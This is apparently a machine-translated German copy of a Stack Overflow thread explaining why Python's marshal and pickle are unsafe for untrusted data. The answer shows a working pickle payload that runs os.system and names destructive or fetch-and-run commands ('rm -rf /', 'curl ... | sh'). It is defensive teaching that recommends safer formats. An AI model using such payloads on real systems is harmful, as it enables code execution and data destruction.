2014-11-14 10 views
7

Ich arbeite an einem Projekt, wo ich cPickle verwenden, um Dateien schnell zu laden. Vor ein paar Tagen habe ich gelesen, dass marshal sogar schneller als cPickle sein kann. Es funktioniert für mich, aber ich bin neugierig, was ist diese Warnung von the documentation über:Marschall unserialization - nicht sicher

Warnung

Das marshal-Modul ist nicht gegen fehlerhafte oder böswillig Daten aufgebaut, sicher sein soll. Niemals Daten von einer nicht vertrauenswürdigen oder nicht authentifizierten Quelle entpacken.

Was könnte genau passieren, wenn ich nicht vorsichtig bin?

+0

Gute Frage. Es ist einfach, willkürliche Code-Ausführung mit Pickle zu demonstrieren, aber ich denke, Schwachstellen in 'Marshal' sind eher theoretisch. In einigen Versionen von Python konnte 'marshal.loads' einen segfault erzeugen und somit möglicherweise Speicher überschreiben. – Duncan

Antwort

8

Marshal

Es sind keine bekannt Wege zu marshal zu nutzen. Tatsächlich Code ausgeführt, wenn mit marshal.loads() ist nicht etwas, was ich tun konnte, und mit Blick auf die marhal.c Quellcode, sehe ich nicht eine sofort offensichtliche Möglichkeit.

Warum ist diese Warnung hier? The BDFL explains:

BTW die Warnung für Marschall ist echt - die C-Code, der Marschall Daten auspackt gegen Pufferüberlauf nicht sorgfältig analysiert und so weiter. Erinnern Sie sich an das erste Mal, dass jemand durch ein bösartiges JPEG in ein System eingebrochen ist? Das gleiche könnte mit Marshal passieren. Ernst.

Ich empfehle Ihnen, den Rest der Diskussion zu lesen; Es wird ein Fehler angezeigt, bei dem die Daten von 0marshalling Python zu segfault veranlasst; Dies wurde seit Python 2.5 behoben (dieser Fehler könnte möglicherweise zur Ausführung von Code missbraucht werden). Andere Bugs Mai noch existieren, obwohl!

Darüber hinaus können die marshal docs erwähnen:

Dies ist keine allgemeine „Persistenz“ -Modul. [..] Das Marshal Modul existiert hauptsächlich um das Lesen und Schreiben des "pseudo-kompilierten" Codes für Python Module von .pyc Dateien zu unterstützen.

So ist es nicht einmal entworfen, um Daten in einer zuverlässigen Weise zu bestehen.

Pickle

Schnell beliebigen Code mit pickle ausführen kann. Zum Beispiel:

>>> import pickle 
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.") 
bin data download home lib64  mnt proc run srv tmp  usr  var 
boot dev etc  lib lost+found opt root sbin sys ubuntu vagrant 
0 

Das war eine harmloses ls /, könnte aber auch ein weniger harmlos rm -rf / oder ein curl http://example.com/hack.sh | sh sein.

können Sie sehen, wie das funktioniert, indem das pickletools Modul:

>>> import pickletools 
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.") 
    0: c GLOBAL  'os system' 
    11: ( MARK 
    12: S  STRING  'ls /' 
    20: t  TUPLE  (MARK at 11) 
    21: R REDUCE 
    22: . STOP 

pickle.py hat einige Kommentare auf, was diese Opcodes bedeuten:

GLOBAL   = b'c' # push self.find_class(modname, name); 2 string args 
MARK   = b'(' # push special markobject on stack 
STRING   = b'S' # push string; NL-terminated string argument 
TUPLE   = b't' # build tuple from topmost stack items 
REDUCE   = b'R' # apply callable to argtuple, both on stack 
STOP   = b'.' # every pickle ends with STOP 

Das meiste davon ist selbsterklärend; mit GLOBAL können Sie jede Funktion erhalten, und mit REDUCE nennen Sie es.

Da Python ziemlich dynamisch ist, können Sie dies auch verwenden, um ein Programm in der Laufzeit zu affen. Zum Beispiel könnten Sie die check_password Funktion mit eine ändern, wo Sie das Passwort auf einen Server hochladen.

Also was ist sicher?

XML, JSON, MessagePack, Ini-Dateien oder vielleicht etwas anderes. Es hängt davon ab, welches Format ist das Beste in Ihrer Situation.

Wurde dieser Code "sorgfältig auf Pufferüberläufe und so weiter analysiert"? Wer weiß, . Der meiste Code hat nicht, und C macht es leicht, Dinge falsch zu machen. Sogar Python Code kann anfällig sein, wie es may call functions implemented in C that are vulnerable.

Dort have been problems with Python's JSON module. Aber zur gleichen Zeit Zeit, es ist viel in öffentlichen Anwendungen verwendet, so ist es wahrscheinlich sicher. Es wird sicherlich sicherer sein als marshal, da dies nur für .pyc Dateien ausgelegt war und explizit mit einem "nicht geprüft!" Warnung.

Dies ist natürlich keine Garantie. Denken Sie daran, dass YAML security hole a few years back that caused every Ruby on Rails application in the world to be vulnerable to arbitrary code execution. Hoppla! Und das war nicht einmal ein subtiler Puffer Überlauf, sondern ein viel offensichtlicheres Problem.

Hinweis, dass Sie sollten nicht Verwendung yaml ‚s load() Methode, wie diese the same problems as Ruby's YAML hat. Verwenden Sie stattdessen safe_load().

Fazit

Die Warnung im pickle Modul ist sehr gerechtfertigt (es soll wahrscheinlich seine stärker angegeben), während die Warnung über das marshal Modul mehr ein "dieser Code zu sein scheint, wurde nicht entwickelt mit Sicherheit im Sinne "-Typ der Warnung, aber tatsächlich ausnutzen es ist nicht so einfach, und beruht auf der hypothetischen Existenz auf unbekannte Bugs. Trotzdem ist es wahrscheinlich besser, etwas anderes zu benutzen.


Es sollte wirklich ein „sorgfältig analysiert gegen Pufferüberlauf und so weiter“ sein Siegel des Vertrauens für Open-Source-Projekte. Ja, Sie können die großen Dollars ausschütten und Ihren Code von Veracode und ähnlichem analysieren lassen, aber das ist für Open-Source-Projekte nicht machbar.Es gibt einige Bemühungen, dies nach dem OpenSSL Heartbleed Clusterfuck vor ein paar Jahren in Form der Core Infrastructure Initiative zu tun, aber sein Umfang und Budget sind ziemlich begrenzt (aber es ist ziemlich jung und könnte in ein paar Jahren Traktion gewinnen).